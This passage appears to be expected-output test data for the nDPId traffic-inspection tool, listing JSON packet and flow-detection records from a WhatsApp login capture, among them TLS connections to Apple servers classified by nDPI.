R1a2B5R5W\/LKjd9DViwtNGRDni5Svuydo8TYyRQPuhQyiTrekA=="} +00545{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":751266,"pkt_caplen":144,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":144,"pkt_l4_len":110,"pkt":"APS5Jrv0xiwDYGpkCABFAACCtBgAADQGo964rbMlwKgCBBRmwDLYm8Xdgj7jQIAYAgJM7wAAAQEICg\/xjlQt+jOCAAAF+AMBOpEAAAP4AZyAAD0m0VlB+8tWsbp0BQYWF+bMvoLZ\/WgG6u1TyCCzxwH20h0Q2jxNGSwJRTNrgjDsLTCDjuGenrlmDXZD4OyX"} +00436{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":753368,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0JuMAAC8Gq7gRbuUOwKgCBBRnwCnUixpMuGhRJoAQAQ6R7QAAAQEICm+GjQ4t+jMS"} +00436{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":758036,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0JuQAAC8Gq7cRbuUOwKgCBBRnwCnUixpMuGhTAIAQASWP9wAAAQEICm+GjRMt+jMS"} +00465{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":786909,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"APS5Jrv0xiwDYGpkCABFAABJxvEAADQGkT64rbMlwKgCBBRmwDLYm8Yrgj7jQIAYAgIZ+gAAAQEICg\/xjnct+jOCgAASjAEu4UAUjmQ3lBCQ4RaoVQTV"} +00436{"flow_id":14,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":806707,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0OkJAAEAG0gLAqAIEuK2zJcAyFGaCPuNA2JvGK4AQIFNOdAAAAQEICi36NFcP8Y5U"} +00436{"flow_id":14,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":807013,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA06wtAAEAGITnAqAIEuK2zJcAyFGaCPuNA2JvGQIAQIFFOPgAAAQEICi36NFcP8Y53"} +00713{"flow_id":14,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":952679,"pkt_caplen":267,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":267,"pkt_l4_len":233,"pkt":"xiwDYGpkAPS5Jrv0CABFAAD9i4lAAEAGf\/LAqAIEuK2zJcAyFGaCPuNA2JvGQIAYIFFGwwAAAQEICi36NOYP8Y53gADGy7ezkjAQkq2BWn3DEeSuFO95UwYjvqLdboW8kBNtdet+6zrs8gt1bSFJ52WMtyt\/i0InoiXkpyz82lfq0pzseBRJBSO4S4JyoYsjZYuoTu\/fTfMpcBbEQ8vcCc1rrEcLBobzNzhQEMg7yfWo2jePIaRujSbr5zBiiyJIVto3PR2jvUXzZVdFH7ya4jrEPe958l57A22+oLv2oeSEex3svE\/eHK1yFAJzgMk2QXKdiaSJA0USugNXB15U4s5WyxP2G\/ooe0Js"} +00483{"flow_id":14,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582229,"pkt_ts_usec":111864,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"APS5Jrv0xiwDYGpkCABFAABUeGYAADQG3764rbMlwKgCBBRmwDLYm8ZAgj7kCYAYAgIJ9AAAAQEICg\/xj7wt+jTmgAAd\/b4OUEgsPXKQquzhDRfg9LXYbPQSxH7XJ2cUrOY="} +00466{"flow_id":14,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582229,"pkt_ts_usec":215435,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"xiwDYGpkAPS5Jrv0CABFAABH0lZAAEAGOdvAqAIEuK2zJcAyFGaCPuQJ2JvGYIAYIE\/KHQAAAQEICi36NesP8Y+8gAAQUZbxCnaKOgXzScuiFSl9qQ=="} +01636{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582229,"pkt_ts_usec":313322,"pkt_caplen":940,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":940,"pkt_l4_len":906,"pkt":"xiwDYGpkAPS5Jrv0CABFAAOeCM9AAEAGdWLAqAIEEW7lDsApFGe4aFMA1IsaTIAYIAAJ\/gAAAQEICi36Nkxvho0TFwMBACAlPDy+6eU1URCb\/ilwjZ\/NM4vs5JNXKOeqBoWnuFfSpBcDAQNA3j6jFaNyp+Ee\/ueUmJ4vlYvRK6kIcmHPC2wSftiGLR4gr5c\/Gb\/AgGHTRAH\/r9QBCzwugl9+wIQsEEA+6vgnX80sTVdiCq3IE0ZfhwPcmqS\/pvpJq+j5hyWlZXNXxBAlIeuiPMUI7U1xe4adpS+ZdUxATIGzNM6hrWeZ9H4ASsfQXeiA+wdzvISU9UxFu83+z22MDx\/tldbYAE+R8dfZ1\/auzjriI8GHA5\/Z6Cc+Uz0r1oTWeoBe3R2YcD7pJ1Zp+GUdsNfFNsOOljc6msXw5zV8uKCTwzPdu1PB0VQRVdAKD+vFDEflXLvINqtZdS+GiBKca8KXunrfOFq7X1OoUZQZllLznrlGRARAU4V1Y7cGkmN8Uc2h1tGvN\/5iRKDzTZFhU5XJe4P\/iKT6ObWhjHQUMbLQK\/O\/weHxMKyTP9++DqmeWXj0JsiGUj5GSaaoQ+KDUml6Yqq02t81luMmnBNmeqVavl5012j2lGmh80AxHNPNWRZiVQNRDcTSSfp91g1UvA75D2gSMzIYw13NDzT9yRfpHFL1O1KpPU3dtcFgTnouF262JANgvzjPLbUYkD8qcdDjprWUY421XR1k5dKQq1eKe8aO8MrOlOI1dk0bBpb46SY8pGCb0wUs\/JJj0+ykc4w2dot17bxGgM1vpWVNWtftB7w479ANTyXb\/vsu4\/IFF29hdjwpRD3YVYqEczDcy74P9cuNs2\/frl\/d80ieXwrpsOhbVVW6CRic9yCz8z0BapVHv2EbrzpMkhKISSrAZ+CPGJIQoG2tQSbXzAKV3e2IWOEQJVMhqYxIUF1a2DbR00i68r9L4H7pNaIXs5RuM1uRA2q+2E4H6hsR3U2vC+apU2DQHkZ04jGoyLn2yaCx8TqsmQwWf58m3h0WkbOED\/Fe4DxQ\/9UY9GB3cQZ9rTty0KPxrmpN5mArMfL21LYMnkrY3aTybt1p4CiU69ruMsGvI\/gImnWD9rYEwuNqpD5Sn1AtqFHf\/17YOVQuqms9g9uLrVyXBwFKmjMaFaMK8LxW8LHpc\/BPQcCfoJiWAJNmkMBdMnR8r9I87mCv\/CAa\/B\/pu0dz7SnGhhQTZ2vSAcoHnKO5WtXEktOiDg=="} +00467{"flow_id":14,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582229,"pkt_ts_usec":362187,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"APS5Jrv0xiwDYGpkCABFAABJB+4AADQGUEK4rbMlwKgCBBRmwDLYm8Zggj7kHIAYAgKvvwAAAQEICg\/xkMAt+jXrgAASm4j1WJUFo7RZpsPza25blijr"} +00438{"flow_id":14,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582229,"pkt_ts_usec":363677,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0mdJAAEAGcnLAqAIEuK2zJcAyFGaCPuQc2JvGdYAQIE5IwAAAAQEICi36Nn4P8ZDA"} +00680{"flow_id":14,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582229,"pkt_ts_usec":462123,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"xiwDYGpkAPS5Jrv0CABFAADjnHlAAEAGbxzAqAIEuK2zJcAyFGaCPuQc2JvGdYAYIE7sWwAAAQEICi36Nt4P8ZDAgACsw3VabUs0KW3Wx2tw4Qp1Cg+MPojgHGLiSPqnvoLwqYbzRsSlV3q2Dwl5TNhLqa6IqC63M49S2INfT8ex9swMj0Jt1fkTJ3wiL+Uzm7Jg8zszjXNvlhpkBzhzeTTkKxu7\/dogZTDbYv4+fOLZhjkuaaMRSk\/eUI3w\/Ey63SeOnjfvfpltJdJ9Ae+6SDykZEHVLCo3vG8uccnbnjaYEfpbqE2Zg4P0veGYbO3mXg=="} +00437{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582229,"pkt_ts_usec":581063,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0JuUAAC8Gq7YRbuUOwKgCBBRnwCnUixpMuGhWaoAQATuGBgAAAQEICm+GkEot+jZM"} +00492{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582229,"pkt_ts_usec":581648,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"APS5Jrv0xiwDYGpkCABFAABZJuYAAC8Gq5ARbuUOwKgCBBRnwCnUixpMuGhWaoAYATuNjgAAAQEICm+GkEst+jZMFwMBACBjANhOrz6MBEcuqr\/94gpfQghrMUjVutkJayHkJQ7Utw=="} +00438{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582229,"pkt_ts_usec":625167,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA04fdAAEAGn6PAqAIEEW7lDsApFGe4aFZq1IsacYAQH\/1l6QAAAQEICi36N4FvhpBL"} +01624{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582229,"pkt_ts_usec":768100,"pkt_caplen":940,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":940,"pkt_l4_len":906,"pkt":"xiwDYGpkAPS5Jrv0CABFAAOeaNNAAEAGFV7AqAIEEW7lDsApFGe4aFZq1IsacYAYIACpTwAAAQEICi36OA1vhpBLFwMBACAY\/mkSB+KYEbiQogzGc3sDxtd0hGa0Aob93QYa2L5gWxcDAQNA2QZirFYKG26TmUe3BXOrrgmEU9nUcefy6JgSwQpwcCo4FjVCP8cMTkAmvLs\/G7w9PEBZVwrVMybv2U8qIJHYouOKGi4FG+JjgOp1Ouca1FbrShbHIGENiQ6vUGESwH4FoOWtSsuxkrm6f6s1l50xREGyOUz7iaX0k6ZID4SxossDMGtwCYo1Q3f5qrHvemf9KFyTdmmx2wF9NlZFOhqF\/oDUWmklRTnZFKseu4Ko7IB05\/R2\/mXoNVT+VT+Iih3zzRZRQoyPmpwasPM8eXFMFcG1geQReT55QCDiERyT+uz5N77yFCAGyi6SQrVscYOWsmcoovyY2dINpUxHvo1H2uz0uswJJgJabe\/YoW2DDKaiQOtjXNerLABQLZUWMII\/jdofX6Er02dThdCiA3+5pHhV3ZUcFfb\/O9Q3uJEeVzxmh7eOqDON9cDffxR7O8pVnzZmA8I0zrdychV0LgQcg\/BIBQbX05iw8SQojWg6fWejKKFglwcVslzlM\/xXGC4xgwtDU2CmG75\/QVNIwNn\/Gl4Yz7D4Se4Ls2LRNmNONzY3Ix7OQPfNKUhbz6w9HLqCPwFHt4HWF7kGwaacCoPb2DMuW92fXaeWwzk2iK4ekNVOorozD6Nr10CGdVTbOh1amXZOz\/5AbFLmZUCQ0XJ9Cgbt263bCNlyX+IPOK5YR8x9Xqj8rZTd+N22EB9JUcDE9rI1OKa6ayyGOXoKd6uuKI26IjpPZs0dHUaWywfbrTJ8LVTz9v9hSiotRdSBtCDas72sCqYenc60llgy9dsYW2sf9myrIJq57aS1sHsj3rTqx4abVFavZaxMFzhrpv0CAD1NgTGSid8rTXz9i99PdKYvyNb5CjCX6TBU2C9gAIlvBHOWqeWz6WtVr6Ls108ZjUz6MSNY+NSbWrHrByM9t8D+vHwazemVGfLXBGfEtVIrplh2wPvZxmmjtKugidR7\/7Q6h7CYL3dQpuuNehvVKgaNxJyA+UQIVk06AY0kjIFuijRLcnxBjWn4qHNyWaBYiRWNgz6MWAmhl\/9l2r2twYpEOKWsOyZK9\/8EF+ZL8QVDVXHz1SJB+aRwEfCS0qBt3MXwNwkbdddZHsb1ruUKdQ=="} +00709{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582229,"pkt_ts_usec":884057,"pkt_caplen":263,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":263,"pkt_l4_len":229,"pkt":"APS5Jrv0xiwDYGpkCABFAAD5JucAAC8Gqu8RbuUOwKgCBBRnwCnUixpxuGhWaoAYATtYIAAAAQEICm+GkWIt+jeBFwMBAMDZ7E6sZ7cccN\/EEjBpWRuD2Gh313X5mXcEOAYXOhcl83gS+B\/p1uYaye9IrqI5nZxurP+TzkH8r0GOV4NC+1aGFsMvixVBpJQ4Urunwhqa3UdyYuF9fFjRtWjwfFa9M0zh9DeDQjocLYHBYo5gxNNTjNC6oR7fnXD1I\/d9RoPfsjnv4gf8PTi68GbkzUkljW+WzijqgM+F4myD\/6L9HP8RgVJcNt9nGV+BTKZ6tQBrNtN9zanB0F0hNWY7eWxTJ7s="} +00439{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582229,"pkt_ts_usec":943367,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0cTJAAEAGEGnAqAIEEW7lDsApFGe4aFnU1IsbNoAQH\/NfdAAAAQEICi36OLpvhpFi"} +00437{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582230,"pkt_ts_usec":74596,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0JugAAC8Gq7MRbuUOwKgCBBRnwCnUixs2uGhZ1IAQAUl+DAAAAQEICm+GkiEt+jgN"} +00562{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582230,"pkt_ts_usec":138111,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"xiwDYGpkAPS5Jrv0CABFAACOOwNAAEAGRj7AqAIEEW7lDsApFGe4aFnU1IsbNoAYIABSOgAAAQEICi36OXlvhpIhFwMBACBYGpMgxLI\/XOlvDAO1YmBcJuuAqZND0LWK6E2nesgBchcDAQAwGK4hHmiB9gR3xDxlj3xXanaYSvfNpgsrWjqiCYvT+mpqxvi3OYqgTKjf9iJyrVxa"} +00756{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582230,"pkt_ts_usec":190452,"pkt_caplen":300,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":300,"pkt_l4_len":266,"pkt":"APS5Jrv0xiwDYGpkCABFAAEeJukAAC8GqsgRbuUOwKgCBBRnwCnUixs2uGhZ1IAYAUkTjwAAAQEICm+GkqEt+ji6FwMBACDfcHM4dLo++G90ERAFFxzA222gLV2VS4glm957e0qOUhcDAQDAZ9x1fq9BnzAIDFQdn8QUIu\/zzjVU031GhI4CjUFGJaIOPA5INw42aR2LN+lHAxXoHM0+waT2ktoqx8f6PnoFzitPiZWZrKwMW8JuL\/OGDiDBMAiZTfaeyB5EQNXDVfkkEuTAXfG1h5fPTAYw5xsO8bUUWBQW9V7PO\/A8IBaSFDBI1TVa2GWzyEiu0UW5DGF+z9cX2afRExak8V7zquk1H0QLWF9VMvSFKkFlVbX1AqL86NmHxKhdXXuk+LjgXy+o"} +00440{"flow_id":16,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582230,"pkt_ts_usec":191819,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0FmJAAEAGaznAqAIEEW7lDsApFGe4aFou1IscIIAQH\/Fb\/wAAAQEICi36Oa5vhpKh"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":137,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1432582230648,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.173.66.102","src_port":49204,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582230,"pkt_ts_usec":648273,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkAPS5Jrv0CABFAABAZppAAEAGvV7AqAIEEa1CZsA0AbuMr4Y\/AAAAALAC\/\/\/iDQAAAgQFtAEDAwQBAQgKLfo7WAAAAAAEAgAA"} +00438{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582230,"pkt_ts_usec":787552,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0jEsAAO8GKLkRrUJmwKgCBAG7wDR81DyUjK+GQIASH\/6qEgAAAgQFoAEDAwQBAQQC"} +00421{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582230,"pkt_ts_usec":854807,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoLotAAEAG9YXAqAIEEa1CZsA0AbuMr4ZAfNQ8lVAQQADKywAA"} +00730{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582230,"pkt_ts_usec":862990,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"xiwDYGpkAPS5Jrv0CABFAAELd3hAAEAGq7XAqAIEEa1CZsA0AbuMr4ZAfNQ8lVAYQADmeAAAFgMBAN4BAADaAwNVY3hWzpRvQb4tQBJl4xyEq38xvRpwxqpjBZECV8GAECDnNWvFSuDQ9RWxNOp1GECdroi8RHuHNQND3XitCRrHVABKAP\/AJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAABHAAAAHQAbAAAYcDUzLWJ1eS5pdHVuZXMuYXBwbGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00774{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":146,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":4,"flow_first_seen":1432582230648,"flow_last_seen":1432582230862,"flow_tot_l4_data_len":343,"flow_min_l4_data_len":20,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":85,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.173.66.102","src_port":49204,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"p53-buy.itunes.apple.com","ja3":"799135475da362592a4be9199d258726","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00420{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582231,"pkt_ts_usec":3202,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAojFMAAO8GKL0RrUJmwKgCBAG7wDR81DyVjK+HI1AQCgL\/5gAA"} +00547{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582231,"pkt_ts_usec":3264,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"APS5Jrv0xiwDYGpkCABFAACEjFUAAO8GKF8RrUJmwKgCBAG7wDR81DyVjK+HI1AYCgJANgAAFgMDAFECAABNAwNVY3hWI039rq0zERKUON6sjGVDSZCqKie+A5zCjAoXmyDnNWvFSuDQ9RWxNOp1GECdroi8RHuHNQND3XitCRrHVAAEAAAF\/wEAAQAUAwMAAQE="} +00815{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":148,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":6,"flow_first_seen":1432582230648,"flow_last_seen":1432582231003,"flow_tot_l4_data_len":475,"flow_min_l4_data_len":20,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.173.66.102","src_port":49204,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"p53-buy.itunes.apple.com","ja3":"799135475da362592a4be9199d258726","ja3s":"c253ec3ad88e42f8da4032682892f9a0","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5"}} +00472{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582231,"pkt_ts_usec":5970,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"APS5Jrv0xiwDYGpkCABFAABNjFcAAO8GKJQRrUJmwKgCBAG7wDR81DzxjK+HI1AYCgJAMgAAFgMDACBiB\/EBcHJhTjzTzrwx1GVDilcgFXEF0qJick8c0ufuiA=="} +00421{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582231,"pkt_ts_usec":58524,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAo6VVAAEAGOrvAqAIEEa1CZsA0AbuMr4cjfNQ88VAQP\/rJkgAA"} +00421{"flow_id":17,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582231,"pkt_ts_usec":59300,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoUvNAAEAG0R3AqAIEEa1CZsA0AbuMr4cjfNQ9FlAQP\/fJcAAA"} +00429{"flow_id":17,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582231,"pkt_ts_usec":59551,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAulgZAAEAGjgTAqAIEEa1CZsA0AbuMr4cjfNQ9FlAYQACxVQAAFAMDAAEB"} 